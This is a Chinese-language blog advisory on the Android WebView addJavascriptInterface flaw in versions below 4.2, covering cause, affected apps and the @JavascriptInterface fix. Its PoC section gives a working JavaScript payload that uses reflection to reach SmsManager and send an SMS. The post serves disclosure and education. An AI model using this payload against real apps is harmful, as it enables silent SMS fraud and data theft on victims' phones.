文章鏈接: http://blog.csdn.net/jiazhijun/article/details/11131891
作者:Jack_Jia 郵箱: 309zhijun@163.com
一、漏洞描述
近期,微信等多款安卓流行應(yīng)用曝出高危掛馬漏洞:只要點(diǎn)擊好友消息或朋友圈中的一條網(wǎng)址,手機(jī)就會自動執(zhí)行黑客指令,出現(xiàn)被安裝惡意扣費(fèi)軟件、向好友發(fā)送欺詐短信、通訊錄和短信被竊取等嚴(yán)重后果。在烏云漏洞平臺上,包括安卓版微信、QQ、騰訊微博、QQ瀏覽器、快播、百度瀏覽器、金山瀏覽器等大批應(yīng)用均被曝光同類型漏洞。
二、影響版本
Android系統(tǒng)版本低于4.2
三、漏洞原理
漏洞點(diǎn):WebView.addJavascriptInterface(Object obj, String interfaceName) ;
漏洞觸發(fā)條件:
1、使用 WebView. addJavascriptInterface方法注冊可供javascript調(diào)用的java對象。
2、使用WebView加載外部網(wǎng)頁。
3、Android系統(tǒng)版本低于4.2
漏洞原因:
Android系統(tǒng)通過WebView. addJavascriptInterface方法注冊可供javascript調(diào)用的java對象,以用于增強(qiáng)javascript的功能。但是系統(tǒng)并沒有對注冊JAVA類的方法調(diào)用的限制。導(dǎo)致攻擊者可以利用反射機(jī)制調(diào)用未注冊的其它任何JAVA類,最終導(dǎo)致javascript能力的無限增強(qiáng)。攻擊者利用該漏洞可以根據(jù)客戶端能力為所欲為。
四、POC代碼
我們利用該漏洞調(diào)用SmsManager發(fā)送短信(被攻擊APK要有短信發(fā)送權(quán)限)
WebView webview = new WebView(context);
WebSettings webset= webview.getSettings();
webset.setJavaScriptEnabled(true);
webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");
利用該漏洞的外部javascript腳本:
<script>
var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
obj_smsManager.sendTextMessage("159********",null,"test",null,null);
</script>
出于安全考慮,為了防止Java層的函數(shù)被隨便調(diào)用,Google在4.2版本之后,規(guī)定允許被調(diào)用的函數(shù)必須以@JavascriptInterface進(jìn)行注解,所以如果某應(yīng)用依賴的API Level為17或者以上,就不會受該問題的影響(注:Android 4.2中API Level小于17的應(yīng)用也會受影響)。在各應(yīng)用廠商修復(fù)該問題期間,我們建議用戶暫時使用系統(tǒng)自帶的瀏覽器訪問網(wǎng)頁,并且不要訪問社交應(yīng)用中陌生人發(fā)來的鏈接。
五、相關(guān)鏈接
http://drops.wooyun.org/papers/548
http://50.56.33.56/blog/?p=314
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯(lián)系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
